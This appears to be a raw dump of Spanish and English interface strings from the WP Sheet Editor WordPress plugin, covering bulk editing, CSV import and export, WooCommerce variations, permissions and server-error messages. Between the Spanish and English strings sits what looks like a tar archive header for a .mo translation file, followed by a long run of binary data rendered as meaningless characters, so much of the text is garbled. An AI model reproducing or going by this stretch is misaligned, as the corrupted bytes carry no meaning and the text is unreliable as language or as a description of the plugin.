                  2. Puedes El archivo de registro no existe.No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no es numérico. Datos encontrados: %1$s, ID: %2$dEl campo meta no pudo ser eliminado.El campo meta fue eliminado con éxitoLa clave meta no pudo ser renombrada.La clave meta fue renombrada con éxitoLa opción de crear variaciones para cada combinación de atributos requiere WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce.El plugin marcará como usados para variaciones todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin marcará como visibles todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin no se inicializará para los roles de usuario no seleccionados aquí.La vista previa está bien, iniciar importaciónLos valores aleatorios no pudieron ser leídos.El parámetro de búsqueda debe contener $current_value$ solamenteEl producto seleccionado no tiene variacionesEl servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de nuevo más tarde.El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta actualizar la página e inténtalo de nuevo.El servidor no aceptó nuestra petición. No tienes permisos para realizar esta acción. Por favor, inicia sesión de nuevo.El servidor ha excedido sus recursos asignados y no puede procesar nuestra solicitud.El servidor está ocupado y tardó demasiado en responder a nuestra petición. Por favor, inténtalo de nuevo más tarde.El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El servidor no está disponible o está sobrecargado. Por favor, inténtalo de nuevo más tarde.El servidor no pudo procesar nuestra petición. Error del servidor. Por favor, inténtalo de nuevo más tarde.El producto fuente no tiene variaciones.La hoja de cálculo genera automáticamente columnas para los campos serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del número de campos serializados. Puedes deshabilitar esta característica si la hoja es demasiado lenta para cargar o si obtienes errores al cargar las filas o no quieres ver las columnas con el prefijo "SEIS".El editor de hojas de cálculo puede ser usado para editar tus %s de WordPress.El editor de hojas de cálculo es muy potente y tiene muchas características. En este paso puedes habilitar las funciones que necesites.La hoja de cálculo carga sólo las "filas visibles" por razones de rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las filas se cargan dinámicamente. De esta manera puedes "abrir" miles de posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres usar la búsqueda del navegador para encontrar una celda específica, necesitas deshabilitar la carga perezosa para cargar todas las filas a la vez y el navegador será capaz de encontrar las celdas. La búsqueda en el navegador no funciona por defecto porque sólo se crean las "filas visibles".Las variaciones son para este/estos producto(s): Estas opciones serán incluidas en la exportación e importación:Esto se puede utilizar si el valor de la celda será siempre una URL, por lo que la celda se mostrará como de sólo lectura y contendrá un botón que abrirá la URL a partir del valor de la celda.Este color se utilizará como fondo para el encabezado y el pie de página.Este color se utilizará para los enlaces del menú, debe ser el opuesto del color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con texto oscuroEsta columna es sólo para los productos padre, las variaciones no usan este campoEsta columna es sólo para las filas de variaciones, los productos padre no usan este campoEsta función está disponible como una extensión premium.Este formato sólo permitirá a los administradores con la capacidad unfiltered_html guardar cualquier HTML en esta columna, seguiremos eliminando las etiquetas html no seguras cuando los no administradores guarden valores en esta columna.Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide que uses esta opción. Tenemos dos maneras de manejar los campos serializados: el antiguo controlador (usado por defecto, que tiene limitaciones) y el controlador de serialización infinita (mejor, no está activo por defecto para no romper integraciones anteriores). Utiliza esta opción si tienes campos serializados que se guardan incorrectamente o no aparecen en la hoja de cálculo.Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa varios nombres separados por comas.Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo en la herramienta de edición masivaEste logotipo se mostrará encima de la hoja de cálculo en el frontendEste menú se mostrará en la parte superior derecha de la hoja de cálculo.Esto puede ayudar si la hoja de cálculo no carga filas o si las filas aparecen vacías.Esta opción te permite indicar qué posts utilizar como plantillas para campos serializados específicos. Ingresa la clave del campo y el ID del post separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90Esta opción aplica solo si estás importando la columna de imagen destacada y falla el guardado de la imagen.Esto se mostrará cuando el usuario actual no esté conectado e intente ver una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión después del mensaje.Esto borrará las filas de tu base de datos completamente y la única manera de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz una copia de seguridad en caso de que puedas necesitar deshacer esto después.Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá todas las tareas de sincronización configuradas con esa cuenta de Google en todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar su propia cuenta de Google, por lo que las tareas de sincronización de otros usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. ¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?Esto ocultará la opción "ayuda" de la barra de herramientas superiorEsto te ahorrará {clicks_count} clics :)Separador de milesTiempo ahorrado
                  (estimado)Unidad de tiempoEditor TinyMCEConsejo. Si has editado información de este sitio, debes importar las columnas editadas y el record_id. No importes columnas que no hayan sido modificadasConsejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén ayuda instantánea en el chat en vivo en horas de oficina.Consejo. Puedes usar la herramienta "Exportar" para descargar un archivo CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí.TítuloPara buscar entre todos los posts, usa la herramienta de búsqueda. Se usa para localizar y resaltar un valor en las filas cargadas en la hoja de cálculo. Es decir, resaltar un SKU, correo electrónico o título específico.Herramientas sobre la tabla.Ventas totalesTraducir por separadoHabilita esto y la hoja de cálculo guardará los cambios hechos en las celdas cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se guardan prematuramente antes que termines de editar todas las columnas requeridas.TutorialTipoURLURL SlugHTML sin filtrarDeseleccionar todasDeseleccionar todas las columnasActualizar las filas existentes, ignorar las filas nuevasActualiza el valor existente con el resultado de una operación matemática.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Actualizar ajustes¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de WooCommerce?Subir imagenSubir el archivoSubir los archivosSubido por este usuarioSubido a este elementoVentas dirigidasEstadísticas de usoUsar una lista infinita en lugar de la paginaciónUsar como imagen destacadaUsar por defecto¿Usar la paginación en la hoja de cálculo?Usar los precios del producto simple (Padre) para las variaciones¿Usar columnas separadas para las imágenes durante la exportación e importación?¿Usar un método de ejecución más lento?Usa este editor para editar sólo el contenido, otros campos como etiquetas y categorías deben ser editados en la hoja de cálculo.¿Usado para variaciones?¿Usado para variaciones?Capacidades de usuario que pueden leer esta columnaCapacidades del usuario que pueden leer esta columnaDesplegable de usuarioUsuario no autorizadoUsuario no autorizado para editar las filasRoles de usuarioRoles de usuario que pueden utilizar el editor de hojas de cálculoNombre de usuarioUsuariosUsando esta herramienta puedes editar miles de filas a la vezValorEl valor en la sección de reemplazo no es válidoDescripción de la variación¿Variación habilitada?Variación: %sGestor de VariacionesLas variaciones no usan URL slugs pero esto puede ser útil si quieres ver la URL anterior de la variación después de convertir un producto simple en una variación.VendedorVerVer ExtensionesVer GaleríaVer la Hoja de CálculoVer las Hojas de CálculoVer extensionesVer registroVirtualVisibilidadEditor de WPWP Sheet EditorUso de WP Sheet EditorWPBakery Page BuilderWPML - DuplicarWPML - IdiomaWPML - Faltan traducciones en estos idiomasWPML - RelaciónWPML - Traducción deWPML - Prioridad de traducciónAdvertencia: Por favor, haz una copia de seguridad en caso de que quieras deshacer los cambios después.Ver tutorialEstamos guardando ahora. No cierres esta ventana hasta que el proceso haya terminado.Automáticamente, permitimos la edición de columnas en filas de variaciones si al menos una variación usa ese campo.Detectamos todas las columnas automáticamenteRedondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número aquí, por ejemplo, 1 para redondear a 1 decimalPodemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente para los campos soportados.No encontramos filas a exportar. Por favor, intenta con otra búsqueda.No encontramos filas a actualizar a partir de la consulta de búsqueda. Por favor, intenta otra búsqueda.No encontramos variaciones para copiar.Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo en WP.
                  Por ejemplo, productos con el mismo SKU o ID.Encontramos columnas similares. ¿Quieres aplicarles la misma acción? {columns}Tenemos CIENTOS de tutoriales y guías en nuestro blogTenemos una extensión para mostrar esta hoja de cálculo en el frontend. Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, importación, exportación, etc.). Por ejemplo:Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de segundos). Cuando un lote falla, normalmente pausamos la importación y te preguntamos si quieres volver a intentarlo o cancelar la importación. Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay que seleccionar la opción de actualizar las filas existentes en el paso 3 de la importación, para que podamos reintentar y omitir lo que se importó con éxito y sólo reintentar lo que falló. Si no se selecciona la opción de actualizar en el paso 3 de la importación, cada reintento podría duplicar algunas filas previamente importadas.Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de memoria/problemas de rendimiento. Si quieres buscar por un campo que no aparece en el desplegable, aumenta este número.Limitamos las columnas de la hoja de cálculo por razones de rendimiento para evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este límite si quieres visualizar más columnas. Predeterminado: 310Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Necesitamos recargar las filas de la hoja de cálculo para cargar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Te recomendamos que crees un mensaje que parezca escrito personalmente, debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes utilizar variables para insertar el valor de cualquier columna.Mostramos una ventana emergente pidiéndote que instales extensiones gratuitas cuando detectamos que estás utilizando un plugin de terceros que requiere una compatibilidad especial, lo que nos ayuda a evitar errores.Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar este número para cargar más filas por página. CUIDADO. Cargar más de 200 filas por página podría sobrecargar tu servidor. Si detectamos que el servidor está sobrecargado, automáticamente se restablecerá a 10 filas por página.Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que te desplazas hacia abajo). Puedes aumentar el número para cargar más filas cada vez que te desplazas hacia abajo.Añadiremos el nuevo archivo al inicio de los archivos existentes en los productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs separadas por comas.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) existente(s).Crearemos columnas para estos atributos personalizados.Borraremos este campo meta de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la eliminación?Borraremos este campo serializado, incluyendo todos sus subcampos, de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurar en el futuro. ¿Quieres continuar con la eliminación?Mostraremos todas las columnas que fueron borradas o deshabilitadas, las columnas renombradas mostrarán los títulos originales, volveremos a escanear la base de datos para encontrar las columnas de nuevo, y los ajustes avanzados y de velocidad se restablecerá a los valores predeterminados. Esto sólo afecta a la configuración de nuestro plugin y no afecta a los datos editados con la hoja de cálculo.No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan los saltos de línea, por lo que es posible que veas filas duplicadas en los archivos de exportación en casos excepcionales.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) multimedia existente(s).Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para permitir etiquetas html seguras, como b, span, i, etc.Reemplazaremos el archivo multimedia existente con este archivo.Reemplazaremos el/los archivo(s) multimedia existentes con este/estos archivo(s).Sustituiremos los términos existentes por estos términos.Guardaremos la consulta de búsqueda actual y la configuración de la exportación, y podrás ejecutar esta exportación con un solo clic en el futuro usando el desplegable del menú de exportaciónGuardaremos estos archivos. Los archivos existentes se sobrescribirán. Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas por comas.Guardaremos este grupo de columnas como una vista de la hoja de cálculo y podrás cambiar entre vistas en la barra de herramientasRecargaremos la hoja de cálculo cuando cambies esta opción.Ordenaremos las filas de la hoja de cálculo según este campo. Te recomendamos ordenar por campos que tengan valores en todas las filas para obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos por Título ASC porque sabes que todas las filas se ordenarán con precisión, pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya que no tenemos ningún valor para ordenarlas con precisión.SemanasPeso (kg)Bienvenido a WP Sheet Editor¿Qué aplicación usarás para editar este archivo CSV? (opcional)¿Qué atributo quieres editar?¿Qué formato de celda se debe utilizar para las columnas de taxonomía?¿Qué columnas quieres exportar?¿Qué componente necesitas?¿Qué formato de fecha quieres mostrar en la hoja de cálculo?¿Qué formato de fecha quieres guardar en la base de datos?¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?¿Qué campo quieres editar?¿Qué información quieres editar en el frontend?¿Qué post types requieren esta columna en la hoja de cálculo?¿Qué ajuste quieres cambiar?¿Qué valor se guarda cuando la casilla de verificación está marcada?¿Qué valor se guarda cuando la casilla de verificación está desmarcada?Novedades en WP Sheet EditorCuando se carga la hoja de cálculo y guarda el contenido de las filas, la ejecutamos a través de wpautop para evitar problemas de saltos de línea. Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el contenido.Cuando se carga la hoja de cálculo, la abrimos en pantalla completa y tienes la opción de salir del modo de pantalla completa. Habilita esta opción y no abriremos la hoja en pantalla completa.Cuando esta opción está habilitada, se cargarán más elementos en la parte inferior de la hoja de cálculo cuando llegues al final de la páginaCuando esta opción está habilitada, se cargarán más filas en la parte inferior de la hoja de cálculo cuando llegues al final de la página. También puedes habilitar/deshabilitar en la hoja de cálculo.Cuando esta opción está habilitada, las variaciones de los productos se mostrarán y podrás editarlas.Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. Predeterminado: 500Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. Pero tu servidor no puede manejar todos los lotes uno tras otro, así que necesitamos esperar unos segundos después de cada lote para darle a tu servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías aumentar el número para dar a tu servidor un descanso más largo después de cada lote.Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al guardar, deberías reducir el númeroCuando termines de descargar los plugins, tienes que ir a wp-admin > plugins > añadir nuevo e instalarlos.Cuando termines este paso puedes empezar a usar el editor frontend. Puedes añadir la página frontend a un menú o compartir el enlace con tus usuarios.Cuando tengas 1000 filas , puede que quieras abrir la hoja de cálculo y empezar a editar desde las fila 200. Esta opción te permite saltar muchas filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas 1205 como desplazamiento, la hoja comenzará desde la página 120 (índice 1200) porque es la página más cercana al desplazamiento definido.Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita esta opción para reutilizar las imágenes de la biblioteca multimedia con el mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras importaciones. Desactiva esta opción si quieres mantener las imágenes actualizadas en futuras importaciones.Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede causar problemas si tienes miles de columnas o configuraciones raras en tus bases de datos.Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar filas y cargarlas manualmente.Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de usuarios, por defecto solo removemos el usuario del sitio actual. Habilita esta opción para eliminar al usuario de toda la red.¿Qué duplicados quieres eliminar?¿Qué filas quieres exportar?¿Qué variaciones quieres copiar?AnchuraCon nuestro editor podrás editar toda la información de
                  tus %s, ahorrándote mucho tiempo.Con estos archivosCon estoCon este archivoCon este términoWooCommerce - Integración BASICAIntegración con Productos WooCommerceCupones WooCommerceHoja de Cálculo de Cupones de WooCommerceHoja de Cálculo de Clientes de WooCommerceHoja de Cálculo de Pedidos de WooCommerceProductos WooCommerceCampo en WordPressCampo en WordPressWordPress utiliza la API de heartbeat para comprobar el estado de inicio de sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que podría hacer cientos de peticiones cuando se está editando en la hoja de cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de cálculo abierta durante varios días, tu sesión de inicio de sesión puede caducar y no se te notificará si dehabilitas el heartbeat, lo que puede causar problemas al guardarla. Así que usa esta opción sólo cuando uses la hoja de cálculo durante unas pocas horas.Tipo de escritura no permitida.Formato de datos incorrectoExtensión del archivo incorrecta. Sólo aceptamos archivos CSVURL del archivo incorrectaTipo de producto equivocado. Asegúrate que sea un producto variable.XYOAST SEOAñosSíSí, eliminar todo lo que aparece después del texto, incluyendo el textoNo puedes realizar esta acción. Por favor, recarga la página o inicia sesión de nuevo.Puedes habilitar esta opción si quieres añadir clases html, y usar esas clases html para cambiar los colores de las celdas para cada estado usando CSS personalizadoPuedes cambiar el idioma de esta entrada. Si existe la traducción para el nuevo idioma, este cambio no se aplicará.Puedes convertir productos simples en productos variables. Puedes copiar las variaciones en un producto simple y mantener los precios del producto simple en las variaciones.Puedes crear nuevas filas aquíPuedes hacer esto varias vecesPuedes editar tu información multimedia como:Puedes editar la información de tus productos WooCommerce como:Puedes encontrar todos los ajustes aquí, como la visibilidad de las columnas, etc.Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de preguntasPuedes cambiar el tamaño del editorPuedes buscar por cualquier campo usando operadores. Por ejemplo: precio > 100, imagen != (vacío)Puedes seleccionar las filas a editar en la primera opción de este formulario.Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por favor, sigue estos pasos.Puedes utilizar variables para insertar el valor de cualquier columna.No tiene suficientes permisos para borrar filas.No tienes suficientes permisos para crear nuevas filas.No tienes suficientes permisos para realizar esta acción.No tienes suficientes permisos para ejecutar esta acción.No tienes suficientes permisos para cargar filas.No tienes suficientes permisos para guardar los cambios.No tienes suficientes permisos para buscar taxonomías.No tienes suficientes permisos para ver esta página.Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo. ¿Quieres recargar ahora?Has modificado filas. Por favor, guarda los cambios antes de eliminar columnas de la hoja de cálculo.Debes ingresar un nombre de archivo en este campo (no la ruta completa) y subir el archivo a la carpeta %sDebes ingresar la jerarquía completa como padre > hijoTienes que configurar la API key de Google Maps para poder guardar valores en las columnas de mapas de Advanced Custom Fields. Esto es requerido por Advanced Custom Fields, puedes seguir este tutorialNecesitas cargar las filas manualmente porque desactivaste la carga automática de filas. Cambiar los ajustesNecesitas iniciar sesión para ver esta página.Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, puedes cambiar el color de fondo, el color de los enlaces y establecer un menú de navegación de la cabecera.Seleccionaste 0 filas para borrarlas completamente.Seleccionaste una columna del archivo CSV de abajo, pero la columna no está
                  siendo importada. Por favor, ve al paso anterior y selecciona la columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos existentes con el mismo ID, necesitas importar la columna ID, de lo contrario no tenemos los ID para encontrarlos.Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los guardaremos automáticamente con formato. Esta conversión se producirá cuando guardes y no en directo cuando edites en las celdas y verás los valores modificados en la siguiente recarga de la hoja de cálculo.Podrás escribir el título de la entrada en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre del término en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre de usuario en la celda y ésta mostrará un desplegable con sugerencias.El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, pararemos la importación completamente.vacíoEs destacado?oFecha finalSe eliminaron {deleted} duplicados.{total_created} de {total} variaciones han sido creadas.Se combinaron {updated} atributos.Se han guardado {updated} elementos de {total} elementos que necesitan guardarse.modules/wp-sheet-editor/lang/vg_sheet_editor-es_CR.mo000064400000640304147600365160016674 0ustar004)\S o>!oS`ooPzpvpBqZqqqqqqMqG r.RrrMrrsBt*uuYuVvKw'OwpwwwDpxyz{|}p7}}BNw2L`Jt^Lj&0XBkJM.JFMNl @5v2Ҙb{~x)mߞMm!ѡ]/D/tĢţգݣ"$HAB2u}0 #1ASdw^UG#e@;[,{ƨ/ܨ( ,5b$z\V:A<=~/=5*%`ì=Ԭ :;v}a,2FMy9Ǯ*<Rgv gG`o ϱH ^k  =IJ 9$^R%\xշQȿ*d u !* 1"?`bH% 6@Z r !$( . < J U3aJ.  *&@g a"/5 es.| R.+)ZH-&)nP(1>*!i1 * 6) `lu" % DP U `n~ w{p) ! 38@ y 00- R8 (" 3#T2xL^+W&7-.@H3S"J*m. !7 A&24&[ds   * : GQ HR c 4  w4 "!#)((R{[Fm2  &@ U:c612 CM S aov  5*9M( Z*+j-OQ- ,n!.4'c(.O$~(kqCbD,WJ\y01K\^ :45+jd  !&7> Y6g  ,)@O^dw ; Y2  yWcW5@& &3NVg7xGF? P \g o z W 2(.+W++&& /) &Y :  ' % 8& _ ?v j i!  ` u e n E[ n bs1$#   $#:^wu{i} D_'Q*y46 #- = HT k x t '/> E P\ty~2   Q hv { *,( ( 6Ca>pW6:>y*@ <FK[yZ7' _m  ;# (  .  9 F ` e y     #  ! !%!*!-!=!V!(k!q!"@" \" h",u" ""+"#%|&&$&&&&!&' (8((,(e)&)))))* *** (* 5*A*G*N*b*Ck***'* *<+bC+(++1l,C,/,:-eM---+-".;.7.k.sg/// /#/#!0 E0O0j0 00 0'00000 11 11&1X1*k111 1 1 1 222%2.2 2 2 3+3E3uX33,3, 4.:4.i4-4A4A5!J5!l5"555$5 6"666 66 6$7477s8<9rA99 999G9A:%J:p:":: ::z:;F;v;;;/< H<S<W<i<y< < < < <<< < < <= = = = .=9=J=Z=p=!= === ="=&>55>k>(>> >>> >&?/?F?^O????"?@ @%"@H@Y@#r@@@d@I(A@rA(AA A ABB4B JB"TBwBB<B=BC:'CbC uCCCC CCCCC"D3DMD(]D$D DDDDDDEy5EE&DFpkH^H;I@IXIqIxIIIII)I JJ;JLJcJtJ{J J1J"JJJJKK4KLJLhLpLvL{L8L*LLpM{HNN$N\P*`PSPEPW%QB}QQ/RbR,WxXoXRZB[[i[$b\'\ \%\\0y]$^D_!`$6`6[`-`A`^agaaWaW!bDybBbTc+Vc3c=d}dre'pg8gg@}hhHfiLi/i,jjel[lAGmKmAmnknPoopp3 r+>rjr~r rrrhAssRtXtu u,uAu'v0v5v9vBv Rv`v'uvv'w77w ow|wwwww w*wx x"%x9Hx9xxtxNycy+wy+y yyy z.zFzOz8Uzz)zzz zz{{{{ {{{{|| | !|+|;|Q|g|x|.||||c|a}Jp}\}*~lC~e~DU[!iQ=-E5O= 3^n?s>Jo7>14pCoƐ96pPV]3x#1Г#&;B5~@5:K#13ܕ.raʙ3iԜ>̝`X+'.!V%xf  &5D"d!ݤ!1Jd(v7 9N6z9W)v8A٪9UOoFX8_+4Ĭ38-.f1:ǭ3B6YyuӮ]I]5;6$::ò$g#feIX: @MP'S.{&8ѷ% B0Ws˹Tyy ̻XLY-Լ^G*\EͿeL'[e |@8T)\s2Q^kW(|9iEmWCk\U B/+[EZ'@&-CqXA~#1lU `0V-$$ -!,@Wm2W & 0Gx # $-dRc "<_}<%"&*E;p#9=)9g 2vl{CGHOP=RJ1)|% XU(]HZ!3|?`CQ3 LVL Y1s #$6>^S&   - UM     h z WD>*2vR !y"B#S$n%%%%% % %%&/& J&U&^&2w&r&!'?'ZG'' '$'' (#(@( Y((f(3(( ((()),)>>)U})2)**8*9S******o*k+B++ +;+ *,7, N, X,`b,2,/,K&-r--.-/-o..q..0.I.#./8R/ /4/!//80;0K0R0;j0#00001#11 U1-a111 1 1 11#11 2 )262K2c223'4 C4O4d4~4:45 555=6 D6 P6]66x6?6B6U277 77,747,!89N8<838H8iB9~95+:+a:@:*:7:!1;QS;G;P;1>= p=~=5?5Q?5?? ?-?G@W@#@9A@KA AAAAAABB2BNBmBBBB B B+BDD"&DIDiD D2DDDDE E*EEE E E4 G2AG<tG<GGHQISIAdIIII*IJ1JH@J?J3J J>K FKPKdKwK KKK$KKL LQ:LLLLL}M7M1MmN nN9zN NNFOO|Pb@QRgR%S:S#T2T5ET{T}UU-U+U(V9V+V)W,0W]WxWXrXC YBOYYY7ZZ[a[H\"\\)\8\<\#]VC]h] ^> ^L^'Q^y^;^2^k_ l_v____#____A_9`S`o` `(`A`+`*a;aLaRamaaaaaIab'bEb|dbcc dd3dIdemkf]f7gg?hXOi i5iij j *j+4j`jij{j>jbjP.kk kkkk kkk llkllCm.o2Io|oo>o<o0p-?p1mp1p.p>q1?q?qq q&q@q8:rsrNrrZsshsPttouIu:vvS<ψ7#8%^Pd ۊ '/8Ff&@ Ne G'#+O W co&؍/;@R  Ď ǎ0#T!I Yf4z Wܐ4J%1W+Z *n-L̗":<kw>"=Y$w ™ ϙݙ CTqDxY͚l'.Û7}V4 cAz" ,C5p'ΞH]J ʠԠ #%*I t~ *ʡӡ  #01b4y!Т" ,>OV_L ] kFyۤb2v2:ܥ<6TTV173i.*̧.@_%$ 6.A1p)yInSɬ .)X0pحݭ?a*0@Lʯ1BRp  ̰!!9[-{.ر.-3Da$.˲)> ]5j$ųZԳ/6N'd 0" ,-"Z}{QKd(ٶ&")Is .ҷNN=E!A Zgw4$/:*j  ú/Iݻmp޾hc̿Կ. No3-#$6[v }A5  $@eRSl&Q9 ISY6s4sJ gtW+WYPmF_=p:6&qzYm;Z*N($Fk*!"6DT{xIT\! |,$&%'CbS1O0/B6-yZy||UyOT`n(bOzJT1BK'R[;zmwrGXLXFn+L4F)Fp_ 9(bQ' y22M-^AT+#O34<q+C1=:x2~   !. 6 BO_v +h Uv.`~xGj':bP68o;   S| 7    ^`@DQ;y=;6 >HCeI!5?R<M2:@mHKbi-iX!km""s#3%&'(#T)x)"))b)%*8*A*R*!d*&****+**+C+Y+l++.!.?=.}.E.. ...I.Y>//u?00c11.1@1S2Of2$2b2O>3f3F30<47m4:4:4158M57555N5^C6x6f7j777*%8P909-:@:Q';y<g=e>cg>K>?? ?? ?#?8@"O@Qr@?6% 0L{Uv3|4>Bi`ZP?r ZW}I{{_oyoe Ds{h9fGOW:(i@=ddgmU z&3h`S .( '&R \Ka X gqCr-Ht&<a _b] }(,#]0RF.Ah6 `[v.%r#aZ_/4ewVTn X_nks/~,!Kwlc`GS$.[ >smR%Bw747 pNgNZ;2 A?*TMTIf")+9A-1L0\Xi69*kqtCDx9,jp# @DQa8HxLQ,oxOfo35 l-*"4Ck y.[eKO7G[F, u+no"Q&#O^j9[ y=^$8@^Y1_(->W/:}8'EpEq:(Q@:!1P#\q8'+%KJ\mLRu G!(dBI^hei~}<J8bV6.:z\2S |m ll1K4|5J?" ~s Q#MPaN2 /r<d,Ss5 jkX-U y2V3"I!5Y3<ut}W ccnf>`3PJ)%b1Ag)A N0hcCD&T~)q;6fYz*OZ')*7C /G>jE+Ie%l VFv;&|!bi' ]+Bu$wJ0cESYF]@L$xy$~z?v+MpX'Yp5 x$PB=wVW;MNb) m;4H]t-zdFMr"H0ukv*RU{2Tt=27H/UDEg=<|1^!nj (You can remove these help messages in the advanced settings) (Premium. Try for Free for 7 Days) If it doesn't start automatically you can find the file in the folder /wp-content/uploads/wp-sheet-editor/exports/ on your server.

                  The export files are deleted automatically after %d hours. Some columns have the button to change the formatting%1$d of %2$d items have been processed from the file. {total_updated} items updated and {total_created} items created.%s rows will be edited.%s variations created.%s: Allowed spreadsheet views(Install free extension)(Pro extension)- -- First, edit one item in the normal editor and fill all the fields manually.- If the previous solution failed, you can create new columns manually.- Maybe you deleted the columns from the list.- We can help you.- We can scan the database, find new fields, and create columns automatically. Lite version. Showing all products and all fields as columns, 15 columns are editable and the rest are read only.
                  Upgrade: Edit in Excel/Google Sheets, export, import, bulk edit thousands of products at once.. Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work. Add child categories using this format: Parent > child1 > child2. We recommend you increase the server memory to at least 256mb to prevent server errors. Tutorial...1. Are we reading the file properly? Here is a preview of the first 5 rows from the file.2. Please make a backup before executing the import, so you can revert in case you used wrong settings or the file was wrong. The import will save the information directly.Read moreEditing the field: {field_label}Money back guarantee. Buy the plugin without worries. We'll give you a refund if the plugin doesn't work.Tip from WP Sheet Editor: Edit thousands of categories at once, make advanced searches, view all the info in one page, and more.Tip from WP Sheet Editor: You can view all the users in a table, view thousands of full profiles, edit hundreds of users at once without crashing your server, view all shipping/billing/buddypress information. Make advanced searches, create hundreds of users, and more. Download PluginTip from WP Sheet Editor: You can view and edit Product Variations in a spreadsheet, bulk edit, 